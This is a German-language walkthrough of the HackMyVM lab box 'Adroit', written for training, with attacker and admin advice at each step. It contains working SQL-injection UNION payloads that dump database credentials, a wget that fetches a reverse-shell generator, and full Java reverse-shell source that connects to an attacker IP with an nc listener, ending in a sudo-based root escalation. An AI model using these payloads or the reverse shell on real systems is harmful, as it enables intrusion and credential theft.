Adroit - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
ftp
cat
jd-gui (Java Decompiler)
vi
java
nc (netcat)
ssh
ls
sudo
wget
chmod
nano
mv
id
pwd
cd
grep
(implizit bei SQLi)

Inhaltsverzeichnis

Reconnaissance

Analyse: Der `arp-scan -l` Befehl wird genutzt, um aktive Geräte im lokalen Netzwerksegment durch ARP-Anfragen zu identifizieren.

Bewertung: Ein Host mit der IP 192.168.2.156 und der MAC `08:00:27:db:60:f5` (PCS Systemtechnik GmbH / VirtualBox) wird gefunden. Dies ist das Ziel "Adroit".

Empfehlung (Pentester): Notieren Sie die IP 192.168.2.156. Führen Sie einen detaillierten Portscan auf diese IP durch.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.

Currently scanning: Finished!   |   Screen View: Unique Hosts

 15 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 900
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------

 192.168.2.156   08:00:27:db:60:f5      1      60  PCS Systemtechnik GmbH
_____________________________________________________________________________

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf die Ziel-IP 192.168.2.156 durchgeführt, um offene Ports, Dienste, Versionen und Betriebssystemdetails zu ermitteln.

Bewertung: Der Scan identifiziert mehrere offene Ports:

Der anonyme FTP-Zugang ist der offensichtlichste erste Angriffspunkt.

Empfehlung (Pentester):

  1. Verbinden Sie sich per FTP als anonymer Benutzer mit 192.168.2.156 und untersuchen Sie den Inhalt, insbesondere das `pub`-Verzeichnis.
  2. Halten Sie Port 3000 im Auge und versuchen Sie, sich damit zu verbinden oder ihn mit Tools wie `nc` oder `curl` zu untersuchen.
  3. Notieren Sie die offenen MySQL-Ports für spätere Versuche, falls Zugangsdaten gefunden werden.
Empfehlung (Admin):
  1. Deaktivieren Sie anonymen FTP-Zugriff, wenn er nicht zwingend erforderlich ist. Wenn er benötigt wird, stellen Sie sicher, dass nur ungefährliche Dateien freigegeben werden und keine Schreibrechte für anonyme Benutzer bestehen.
  2. Beschränken Sie den Zugriff auf alle Dienste (SSH, unbekannter Port 3000, MySQL) auf notwendige Netzwerke/IPs.
  3. Härten Sie die MySQL-Konfiguration und verwenden Sie starke Passwörter.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.156 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:42 CEST
Nmap scan report for hack.hmv (192.168.2.156)
Host is up (0.00013s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.153
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 d232820f8248cdc233a2a27209c52891 (RSA)
|   256 4e8a9a49b923c2cdac894f44b20b0bdb (ECDSA)
|_  256 328882fc8479981db2279626965a686b (ED25519)
3000/tcp  open  ppp?
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_    HY000
[...] (Unrecognized service fingerprint for 33060)
MAC Address: 08:00:27:DB:60:F5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms hack.hmv (192.168.2.156)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds

Initial Access

Analyse: Es wird eine FTP-Verbindung zum Zielserver hergestellt. Der Benutzer `Anonymous` wird für den Login verwendet.

Bewertung: Der anonyme Login ist erfolgreich (`230 Login successful.`). Im Hauptverzeichnis befindet sich nur das Verzeichnis `pub`. Im `pub`-Verzeichnis werden drei Dateien gefunden: `adroitclient.jar`, `note.txt` und `structure.PNG`. Alle drei Dateien werden erfolgreich heruntergeladen.

Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien:

  1. Lesen Sie `note.txt`.
  2. Untersuchen Sie `structure.PNG` auf Hinweise zur Infrastruktur oder Anwendung.
  3. Dekompilieren Sie `adroitclient.jar` (z.B. mit `jd-gui`), um den Java-Quellcode zu analysieren und nach Zugangsdaten, Verbindungsdetails oder Schwachstellen zu suchen.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff oder beschränken Sie ihn streng auf nicht-sensible, notwendige Dateien. Entfernen Sie Anwendungsdateien oder potenziell informative Notizen aus anonym zugänglichen Bereichen.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.156
Connected to 192.168.2.156.
220 (vsFTPd 3.0.3)
Name (192.168.2.156:cyber): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||45358|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 .
drwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 ..
drwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||41701|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 .
drwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 ..
-rw-r--r--    1 ftp      ftp          5451 Jan 14  2021 adroitclient.jar
-rw-r--r--    1 ftp      ftp           229 Mar 19  2021 note.txt
-rw-r--r--    1 ftp      ftp         36430 Jan 14  2021 structure.PNG
226 Directory send OK.
ftp> get adroitclient.jar
local: adroitclient.jar remote: adroitclient.jar
229 Entering Extended Passive Mode (|||47710|)
150 Opening BINARY mode data connection for adroitclient.jar (5451 bytes).
100% |*************************************************************************|  5451      306.44 KiB/s    00:00 ETA
226 Transfer complete.
5451 bytes received in 00:00 (301.56 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||48684|)
150 Opening BINARY mode data connection for note.txt (229 bytes).
100% |*************************************************************************|   229       18.94 KiB/s    00:00 ETA
226 Transfer complete.
229 bytes received in 00:00 (18.61 KiB/s)
ftp> get structure.PNG
local: structure.PNG remote: structure.PNG
229 Entering Extended Passive Mode (|||49924|)
150 Opening BINARY mode data connection for structure.PNG (36430 bytes).
100% |*************************************************************************| 36430        3.14 MiB/s    00:00 ETA
226 Transfer complete.
36430 bytes received in 00:00 (3.08 MiB/s)
[...]
ftp> exit
221 Goodbye.

Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.

Bewertung: Die Notiz stammt von einem "Junior-Entwickler", der eine "Java Socket App" erstellt hat, um Ideen zu speichern. Wichtige Hinweise:

Empfehlung (Pentester): Behalten Sie den Hinweis "0 -> O" im Gedächtnis, wenn Sie Passwörter oder Schlüssel aus der Java-Anwendung extrahieren. Bereiten Sie sich darauf vor, dass Exploits möglicherweise schnell ausgeführt werden müssen, bevor der Server neu startet. Konzentrieren Sie sich auf die Analyse der `adroitclient.jar`.
Empfehlung (Admin): Hinterlassen Sie keine potenziell nützlichen Hinweise für Angreifer in öffentlich zugänglichen Dateien. Implementieren Sie robustere Neustartmechanismen statt einfacher zeitbasierter Restarts.

┌──(root㉿cyber)-[~] └─# cat note.txt
Hi, i am a junior developer and i am pro with cyber security.
Also i am a writer and i created a java socket app to save my ideas.
PS :
if you break something the server will restart within a minute.
Also, one 0 is not 0 but O

Analyse: Auszüge aus dem dekompilierten Code der `adroitclient.jar` (vermutlich mit `jd-gui` analysiert) werden gezeigt. Der Code offenbart einen hartkodierten Secret Key und Zugangsdaten.

Bewertung: Kritische Informationen im Quellcode:

Dies enthüllt die Zugangsdaten (`zeus`:`god.thunder.olympus`) und den wahrscheinlich zu verwendenden Secret Key (mit O statt 0).

Empfehlung (Pentester):

  1. Fügen Sie `adroit.local` zur `/etc/hosts`-Datei hinzu, die auf 192.168.2.156 zeigt.
  2. Starten Sie `adroitclient.jar` (`java -jar adroitclient.jar`).
  3. Geben Sie als Benutzername `zeus` und als Passwort `god.thunder.olympus` ein. Beachten Sie den Hinweis `0 -> O` beim Secret Key - dieser ist hier für den Login noch nicht relevant, aber für die Verschlüsselung/Entschlüsselung der Daten, die gesendet/empfangen werden.
  4. Wenn der Login erfolgreich ist, interagieren Sie mit der Anwendung (Optionen `post`/`get`).
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten oder Secret Keys hartkodiert im Client-Code. Verwenden Sie sichere Methoden zur Authentifizierung und Schlüsselverwaltung. Offenlegen Sie keine internen Hostnamen (`adroit.local`).

# Auszüge aus der Dekompilation von adroitclient.jar (z.B. mit jd-gui)

public class AdroitClient {
  private static final String secret = "Sup3rS3cur3Dr0it"; // Beachte Hinweis: 0 -> O?
  static ObjectOutputStream os;
  static ObjectInputStream is;
  static Socket socket;

  public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException {
    Crypto crypt = new Crypto();
    try {
      socket = new Socket("adroit.local", 3000);
      os = new ObjectOutputStream(socket.getOutputStream());
      is = new ObjectInputStream(socket.getInputStream());
      R request = new R(); // Vermutlich die Request-Klasse
      Scanner scanner = new Scanner(System.in);
      System.out.println("Enter the username : ");
      String userName = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); // Verwendet Secret mit 0
      System.out.println("Enter the password : ");
      String password = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); // Verwendet Secret mit 0
      if (userName.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "zeus")) &&
          password.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "god.thunder.olympus"))) {
        request.setUsername(userName);
        request.setPassword(password);
        System.out.println("Options [ post | get ] : ");
        String option = scanner.next();
        scanner.nextLine();
        if (option.toLowerCase().equals("post")) {
          request.setOption("post");
          System.out.println("Enter your phrase identifier : ");
          String id = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());
          System.out.println("Enter your phrase : ");
          String phrase = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());
          request.setId(id);
          request.setPhrase(phrase);
        } // [...] Rest der Logik für 'get' und Senden/Empfangen
      } else {
        System.out.println("Wrong username or password");
      }
    } // [...] try/catch/finally Blöcke
  }
}

Analyse: Die `/etc/hosts`-Datei wird bearbeitet, um `adroit.local` auf die IP des Zielsystems zu mappen. Anschließend wird der Java-Client gestartet. Ein erster Login-Versuch mit `zeus`:`Sup3rS3cur3DrOit` (mit O statt 0, gemäß Hinweis) schlägt fehl.

Bewertung: Der `UnknownHostException`-Fehler vor der `/etc/hosts`-Änderung ist erwartet. Der fehlgeschlagene Login-Versuch nach der Änderung deutet darauf hin, dass entweder der Benutzername/Passwort falsch ist oder der Hinweis `0 -> O` hier nicht zutrifft oder falsch interpretiert wurde. Es ist wahrscheinlicher, dass das Passwort `god.thunder.olympus` ist, wie im Code gefunden.

Empfehlung (Pentester): Versuchen Sie den Login erneut mit den im Code gefundenen Zugangsdaten: `zeus` und `god.thunder.olympus`.
Empfehlung (Admin): Vermeiden Sie interne Hostnamen oder stellen Sie sicher, dass sie nicht leicht erraten oder aus Anwendungen extrahiert werden können.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Hinzugefügte Zeile: 192.168.2.156 adroit.local
┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
java.net.UnknownHostException: adroit.local
	at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:229)
[...]
	at adroit.AdroitClient.main(AdroitClient.java:34)
┌──(root㉿cyber)-[~] └─# vi /etc/hosts
┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
Sup3rS3cur3DrOit # Passwort mit O statt 0 versucht
Wrong username or password

Analyse: Der Java-Client wird erneut gestartet, diesmal mit den korrekten Zugangsdaten (`zeus`:`god.thunder.olympus`). Der Login ist erfolgreich. Die Option `get` wird gewählt, und als Identifier wird der (vermutlich korrigierte) Secret Key `Sup3rS3cur3DrOit` eingegeben.

Bewertung: Der Login funktioniert. Die Eingabe des Secret Keys als Identifier führt jedoch wahrscheinlich zu keiner sinnvollen Ausgabe oder einem Fehler auf Serverseite, da hier vermutlich eine ID oder ein Suchbegriff erwartet wird, nicht der Schlüssel selbst. Die Anwendung scheint die Eingabe für den Identifier ebenfalls mit dem Secret zu verschlüsseln, bevor sie gesendet wird.

Empfehlung (Pentester): Experimentieren Sie mit der `get`-Funktion. Versuchen Sie, einfache IDs (z.B. `1`, `0`, `test`) einzugeben. Da die Anwendung wahrscheinlich SQL auf Serverseite verwendet, testen Sie auf SQL-Injection im "phrase identifier"-Feld.
Empfehlung (Admin): Implementieren Sie serverseitige Validierung und Eingabebereinigung für alle vom Client empfangenen Daten. Vermeiden Sie es, Secret Keys als Identifier zu verwenden.

┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
god.thunder.olympus
Options [ post | get ] :
get
Enter the phrase identifier :
Sup3rS3cur3DrOit # Secret Key als ID versucht
[Keine sinnvolle Ausgabe oder Fehler erwartet]

Analyse: Es wird eine SQL-Injection im Feld "phrase identifier" versucht. Der Payload `1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--` wird eingegeben. Das `NULL` wird verwendet, da die ursprüngliche Abfrage wahrscheinlich zwei Spalten zurückgibt. `concat()` wandelt den Schemanamen in einen String um. `--` kommentiert den Rest der ursprünglichen SQL-Abfrage aus.

Bewertung: SQL-Injection erfolgreich! Die Anwendung ist anfällig. Die Ausgabe zeigt die Namen der Datenbanken auf dem Server: `mysql`, `information_schema`, `performance_schema`, `sys` (Standard-MySQL-Datenbanken) und `adroit` (die Anwendungsdatenbank).

Empfehlung (Pentester): Nutzen Sie die SQLi weiter, um Tabellen (`information_schema.TABLES`), Spalten (`information_schema.COLUMNS`) und schließlich Daten (insbesondere aus der `adroit`-Datenbank) zu extrahieren. Konzentrieren Sie sich auf Benutzertabellen (`users`).
Empfehlung (Admin): Beheben Sie die SQL-Injection-Schwachstelle dringend, indem Sie Prepared Statements oder eine ordnungsgemäße Escaping-Funktion für alle Benutzereingaben verwenden, die in Datenbankabfragen einfließen. Beschränken Sie die Berechtigungen des Datenbankbenutzers, den die Java-Anwendung verwendet.

┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
god.thunder.olympus
Options [ post | get ] :
get
Enter the phrase identifier :
1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
 mysql information_schema performance_schema sys adroit

Analyse: Die SQL-Injection wird genutzt, um die Tabellennamen aus der Datenbank `adroit` zu extrahieren.

Bewertung: Zwei Tabellen werden gefunden: `ideas` und `users`. Die `users`-Tabelle ist das primäre Ziel.

Empfehlung (Pentester): Extrahieren Sie als Nächstes die Spaltennamen der `users`-Tabelle.
Empfehlung (Admin): (Siehe vorherige SQLi-Empfehlung).

┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
god.thunder.olympus
Options [ post | get ] :
get
Enter the phrase identifier :
1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='adroit'--
 ideas users

Analyse: Die SQL-Injection wird genutzt, um die Spaltennamen der Tabelle `users` zu extrahieren.

Bewertung: Die relevanten Spalten sind `id`, `password` und `username`. Weitere Spalten (`CURRENT_CONNECTIONS` etc.) scheinen MySQL-Statusinformationen zu sein, die möglicherweise durch ein `JOIN` oder eine fehlerhafte Abfrage hereinkommen.

Empfehlung (Pentester): Extrahieren Sie nun die Daten (insbesondere `username` und `password`) aus der `users`-Tabelle.
Empfehlung (Admin): (Siehe vorherige SQLi-Empfehlung).

┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
god.thunder.olympus
Options [ post | get ] :
get
Enter the phrase identifier :
1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users'--
 id password username CURRENT_CONNECTIONS TOTAL_CONNECTIONS USER

Analyse: Die SQL-Injection wird genutzt, um die `id`, `username` und `password`-Spalten aus der `users`-Tabelle zu extrahieren. `0x20` ist der Hex-Code für ein Leerzeichen, `0x0a` für einen Zeilenumbruch.

Bewertung: Ein Benutzer wird gefunden:

Der Passwort-String sieht nach einem Base64-kodierten Hash aus. Der Text fügt hier einen Kommentar ein: `just.write.my.ideas`. Dies ist vermutlich das Klartext-Passwort, das entweder durch Offline-Knacken des Hashes oder durch einen anderen Hinweis (der im Text fehlt) ermittelt wurde.

Empfehlung (Pentester): Verwenden Sie den Benutzernamen `writer` und das (vermutlich ermittelte) Passwort `just.write.my.ideas`, um sich per SSH anzumelden.
Empfehlung (Admin): Speichern Sie Passwörter niemals als Klartext oder einfach kodierte Hashes. Verwenden Sie starke Hashing-Algorithmen mit Salt (z.B. Argon2, bcrypt).

┌──(root㉿cyber)-[~] └─# java -jar /home/cyber/Downloads/adroitclient.jar
Enter the username :
zeus
Enter the password :
god.thunder.olympus
Options [ post | get ] :
get
Enter the phrase identifier :
1 UNION ALL SELECT NULL,concat(id,0x20,username,0x20,password,0x0a) FROM users--
 1000 writer l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
just.write.my.ideas # Vermutetes Klartext-Passwort
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Analyse: Es wird versucht, sich per SSH als Benutzer `writer` mit dem Passwort `just.write.my.ideas` anzumelden.

Bewertung: Login erfolgreich! Der Angreifer erhält eine Shell als Benutzer `writer` auf dem Zielsystem `adroit`. Der initiale Zugriff wurde erlangt.

Empfehlung (Pentester): Suchen Sie nach der User-Flag (oft `user.txt` oder `local.txt` im Home-Verzeichnis). Führen Sie Enumeration als `writer` durch (`sudo -l`, SUID-Binaries etc.), um Wege zur Rechteausweitung zu finden.
Empfehlung (Admin): Starke Passwörter erzwingen, SSH-Zugriff überwachen.

┌──(root㉿cyber)-[~] └─# ssh writer@adroit.hmv
The authenticity of host 'adroit.hmv (192.168.2.156)' can't be established.
ED25519 key fingerprint is SHA256:MjriZUEzDG3XMTvA2EyIORDspzrtXeVdMNBaKghYb2s.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'adroit.hmv' (ED25519) to the list of known hosts.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
writer@adroit.hmv's password: just.write.my.ideas
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Linux adroit 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 14 23:14:06 2021 from 10.0.2.15
writer@adroit:~$ 

Analyse: Als Benutzer `writer` wird das Home-Verzeichnis aufgelistet und die Datei `user.txt` gelesen.

Bewertung: Die User-Flag wird erfolgreich gefunden: `61de3a25161dcb2b88b5119457690c3c`.

Empfehlung (Pentester): Notieren Sie die Flag. Konzentrieren Sie sich nun auf die Rechteausweitung.
Empfehlung (Admin): Keine direkten Maßnahmen bezüglich der Flag selbst.

writer@adroit:~$ ls
user.txt
writer@adroit:~$ cat user.txt
61de3a25161dcb2b88b5119457690c3c

Privilege Escalation

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen des Benutzers `writer` zu überprüfen.

Bewertung: Der Benutzer `writer` darf den Befehl `/usr/bin/java -jar /tmp/testingmyapp.jar` als `root` ohne Passwort (`NPASSWD`) ausführen. Dies ist ein klarer Vektor zur Rechteausweitung, da der Benutzer eine JAR-Datei im `/tmp`-Verzeichnis (auf das `writer` Schreibzugriff hat) platzieren und diese dann als Root ausführen kann.

Empfehlung (Pentester):

  1. Erstellen Sie eine bösartige JAR-Datei, die eine Reverse Shell oder einen anderen Payload ausführt (z.B. Hinzufügen eines SUID-Binaries oder eines neuen Root-Benutzers).
  2. Kopieren Sie diese JAR-Datei als `/tmp/testingmyapp.jar` auf das Zielsystem.
  3. Starten Sie einen Listener auf Ihrem Angreifer-System.
  4. Führen Sie den `sudo`-Befehl aus: `sudo /usr/bin/java -jar /tmp/testingmyapp.jar`.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem unsicher und sollte sofort entfernt werden. Erlauben Sie niemals die Ausführung von Dateien aus weltweit beschreibbaren Verzeichnissen wie `/tmp` mit `sudo`. Wenn ein Benutzer einen Java-Prozess als Root starten muss, verwenden Sie einen festen, nicht überschreibbaren Pfad für die JAR-Datei und stellen Sie sicher, dass die JAR-Datei selbst sicher ist.

writer@adroit:~$ sudo -l
[sudo] password for writer: (Passwort 'just.write.my.ideas' eingegeben)
Matching Defaults entries for writer on adroit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User writer may run the following commands on adroit:
    (root) NOPASSWD: /usr/bin/java -jar /tmp/testingmyapp.jar

Analyse: Ein Shell-Skript (`generate-java-reverse-shell.sh`) wird von GitHub heruntergeladen und ausführbar gemacht. Dieses Skript generiert den Java-Quellcode für eine Reverse Shell und kompiliert ihn zu einer JAR-Datei.

Bewertung: Dies ist ein praktischer Weg, um den benötigten Java-Reverse-Shell-Payload zu erstellen. Das Skript generiert eine `Shell.java`-Datei (deren Inhalt kurz gezeigt wird) und kompiliert sie wahrscheinlich zu einer JAR-Datei (z.B. `shell_*.jar`). Die Ziel-IP und der Port für die Reverse Shell müssen im Skript oder im generierten Java-Code angepasst werden.

Empfehlung (Pentester):

  1. Bearbeiten Sie das Skript oder den generierten Java-Code, um die korrekte IP-Adresse Ihres Angreifer-Systems und den gewünschten Listener-Port einzutragen (hier wird `192.168.2.153:9001` verwendet).
  2. Führen Sie das Skript `./generate-java-reverse-shell.sh` aus, um die JAR-Datei zu erstellen.
  3. Benennen Sie die resultierende JAR-Datei in `testingmyapp.jar` um und kopieren Sie sie nach `/tmp` auf dem Zielsystem.
Empfehlung (Admin): Beschränken Sie die Möglichkeit für Benutzer, beliebige Skripte aus dem Internet herunterzuladen und auszuführen. Überwachen Sie ausgehende Verbindungen.

writer@adroit:~$ wget https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh; chmod +x generate-java-reverse-shell.sh
--2022-10-18 12:21:28--  https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.109.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371 (1.3K) [text/plain]
Saving to: ‘generate-java-reverse-shell.sh’

generate-java-reverse-shell.s 100%[===============================================>]   1.34K  --.-KB/s    in 0s

2022-10-18 12:21:28 (106 MB/s) - ‘generate-java-reverse-shell.sh’ saved [1371/1371]
writer@adroit:~$ nano generate-java-reverse-shell.sh
# (IP und Port anpassen)
writer@adroit:~$ ./generate-java-reverse-shell.sh
// Generierter Java Code (Auszug)
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Shell {
  public static void main(String[] args) throws Exception {
    String host = "192.168.2.153"; // Angepasste IP
    int port = 9001; // Angepasster Port
    String cmd = "bash";
    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s = new Socket(host, port);
    InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
    OutputStream po = p.getOutputStream(), so = s.getOutputStream();
    while (!s.isClosed()) {
      while (pi.available() > 0) so.write(pi.read());
      while (pe.available() > 0) so.write(pe.read());
      while (si.available() > 0) po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      } catch (Exception e) {}
    };
    p.destroy();
    s.close();
  }
}

Analyse: Die durch das Skript generierte JAR-Datei (z.B. `shell_1666097179.jar`) wird in `/tmp/testingmyapp.jar` umbenannt und ausführbar gemacht.

Bewertung: Dies platziert die bösartige JAR-Datei an dem Ort, von dem aus der `sudo`-Befehl sie als Root ausführen wird.

Empfehlung (Pentester): Starten Sie den Netcat-Listener auf Port 9001 auf dem Angreifer-System (`nc -nlvp 9001`). Führen Sie dann den `sudo`-Befehl aus: `sudo -u root /usr/bin/java -jar /tmp/testingmyapp.jar`.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel. Überwachen Sie das `/tmp`-Verzeichnis.

writer@adroit:~$ mv shell_1666097179.jar /tmp/testingmyapp.jar
writer@adroit:~$ chmod +x /tmp/testingmyapp.jar

Proof of Concept (Root Exploit)

Analyse: Der Netcat-Listener wird auf dem Angreifer-System gestartet. Auf dem Zielsystem führt der Benutzer `writer` den `sudo`-Befehl aus, der die präparierte JAR-Datei `/tmp/testingmyapp.jar` als Root startet.

Bewertung: Der Exploit ist erfolgreich! Die Java-Reverse-Shell wird als Root ausgeführt und verbindet sich zurück zum Netcat-Listener des Angreifers. Die `id`-Ausgabe (`uid=0(root) gid=0(root) groups=0(root)`) bestätigt die erlangten Root-Rechte.

Empfehlung (Pentester):

  1. Root-Zugriff wurde erlangt.
  2. Lesen Sie die Root-Flag (`cat /root/root.txt`).
  3. Führen Sie Aufräumarbeiten durch (Löschen von `/tmp/testingmyapp.jar`, dem Generator-Skript etc.).
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel. Überprüfen Sie das System auf weitere nicht autorisierte Änderungen oder Backdoors.

# Auf Angreifer-System
┌──(root㉿cyber)-[~/HackingTools/revshellJava] └─# nc -nlvp 9001
listening on [any] 9001 ...
# Auf Zielsystem (als writer)
writer@adroit:~$ sudo -u root /usr/bin/java -jar /tmp/testingmyapp.jar
[Keine Ausgabe auf dem Ziel, Verbindung geht zum Listener]
# Auf Angreifer-System (im Listener)
listening on [any] 9001 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.156] 43262
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/home/writer
cd /root ls
root.txt
cat root.txt
017a030885f25af277dd891d0f151845

Flags

cat /home/writer/user.txt
61de3a25161dcb2b88b5119457690c3c
cat /root/root.txt
017a030885f25af277dd891d0f151845